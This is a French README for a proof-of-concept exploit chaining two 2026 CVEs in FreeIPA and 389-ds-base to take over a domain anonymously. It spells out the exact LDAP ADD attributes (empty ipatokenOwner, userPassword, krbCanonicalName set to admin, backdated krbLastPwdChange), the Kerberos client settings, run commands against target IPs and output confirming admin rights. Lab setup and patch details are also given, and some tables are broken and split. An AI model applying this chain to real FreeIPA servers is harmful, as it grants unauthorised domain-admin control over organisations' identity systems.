
Proof-of-concept d'exploitation pour CVE-2026-76578 et CVE-2026-76560, enchaînant un LDAP ADD anonyme avec un contournement SELFDN de 389-ds pour obtenir les droits d'administrateur de domaine FreeIPA.
Produit : FreeIPA 4.9.x – 4.13.3
Sévérité : Critique (CVSS 9.8)
Corrigé : FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
Cette preuve de concept a été développée et exécutée exclusivement dans un environnement de laboratoire isolé et privé dans le but d'une recherche de sécurité autorisée et d'une validation de vulnérabilité.
Avant d'utiliser ce script :
Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation. Ce code est fourni pour la recherche défensive et les tests d'intrusion autorisés uniquement.
Note sur la portabilité : ce script a été validé contre les versions spécifiques des paquets listées dans la section Environnement de test ci-dessous. Le comportement sur d'autres versions d'OS, niveaux de correctifs ou configurations FreeIPA non par défaut peut différer. Vérifiez toujours les résultats de manière indépendante dans un environnement contrôlé avant de tirer des conclusions sur une cible de production.
Un client LDAP non authentifié peut ajouter une entrée de jeton OTP sous cn=otp et
obtenir les pleins droits d'administrateur du domaine FreeIPA. Deux failles se combinent :
CVE-2026-76578 (FreeIPA) — l'ACI OTP ADD n'a aucune restriction targetattr,
donc un ADD anonyme peut inclure n'importe quel attribut : krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange, etc.
CVE-2026-76560 (389-ds-base) — l'évaluateur SELFDN traite "" (chaîne vide)
comme correspondant au DN de bind anonyme, contournant la vérification de propriété
ipatokenOwner#SELFDN.
L'idée critique — aucun blob pré-capturé, aucun accès à la clé maître nécessaire :
Ajouter objectClass: inetOrgPerson + userPassword à l'entrée déclenche le
plugin ipapwd de 389-DS qui génère automatiquement krbPrincipalKey
côté serveur, en le chiffrant avec le krbMKey du realm cible. L'attaquant
fournit un mot de passe en clair ; le serveur dérive la clé Kerberos en interne.
Définir krbLastPwdChange: 20200101000000Z (date passée) dans le même ADD contourne
la politique krbMinPwdLife qui exigerait autrement un changement de mot de passe
interactif avant que kinit ne réussisse.
| CVE | Composant | Description |
|---|---|---|
| CVE-2026-76578 | FreeIPA | L'ACI OTP manque de targetattr — tout attribut passe en ADD anonyme |
| CVE-2026-76560 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts :
<target-ip> ipa-master.test.local
/etc/krb5.conf — canonicalize = true requis pour le Niveau 3 :
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey est chiffré avec le krbMKey (clé maître) de la cible.
La clé maître est stockée dans LDAP à cn=REALM,cn=kerberos et n'est lisible que
par le Directory Manager — pas de manière anonyme, pas par uid=admin via GSSAPI.
Injecter krbPrincipalKey directement est impossible sans la clé maître.
Injecter userPassword délègue la génération de clé au plugin ipapwd du serveur,
qui a un accès interne à krbMKey et effectue le chiffrement
de manière transparente. L'ACI (CVE-2026-76578) autorise userPassword sans aucune
vérification targetattr.
Le plugin d'unicité kerberos impose l'unicité sur krbPrincipalName et
krbPrincipalAlias sur tout le suffixe, mais pas sur krbCanonicalName.
Une nouvelle entrée dans cn=otp avec krbCanonicalName: admin@REALM n'entre pas en conflit
avec le véritable principal admin.
Avec canonicalize = true côté client, kinit attacker@REALM récupère l'
entrée par krbPrincipalName, mais le KDC émet le TGT avec
cname = krbCanonicalName = admin@REALM. GSSAPI résout cela vers le véritable
DN uid=admin — déjà membre légitime de cn=admins. Aucune modification de groupe
n'est effectuée.
Lorsque userPassword est ajouté, ipapwd définit krbPasswordExpiration à maintenant
(expiré) et krbLastPwdChange à maintenant. Avec la valeur par défaut krbMinPwdLife = 3600s,
kinit demanderait un changement de mot de passe avant d'émettre un TGT.
Définir krbLastPwdChange: 20200101000000Z dans l'ADD d'origine remplace la
valeur du plugin par une date de six ans dans le passé, satisfaisant la vérification de durée de vie
minimale. krbPasswordExpiration: 20990101000000Z empêche l'invite d'expiration. Les deux
attributs sont acceptés car l'ACI OTP n'a aucune restriction targetattr.
Pour déployer une instance FreeIPA vulnérable sur une VM fraîche :
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 ajoute une liste d'autorisation targetattr explicite à l'ACI OTP, bloquant
l'injection anonyme de userPassword, krbPrincipalAux, krbPrincipalKey et
krbCanonicalName.
389-ds-base 3.2.0-10.el10_2 corrige l'évaluateur SELFDN pour rejeter "" comme
DN correspondant pour les binds anonymes.
Les deux correctifs sont requis indépendamment — l'un ou l'autre seul réduit mais n' élimine pas la surface d'attaque.
| Paramètre | Valeur |
|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| Realm | TEST.LOCAL |
| Domaine | test.local |
| IP du serveur | 192.168.1.11 |
| Nom d'hôte | ipa-master.test.local |
| Hôte d'attaque | Kali Linux (externe, sans appartenance au domaine) |
| 389-ds-base |
L'évaluateur SELFDN accepte "" comme DN de bind anonyme |
| Composant | Vulnérable | Corrigé |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < build corrigé | voir l'avis correspondant |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | non corrigé au moment des tests |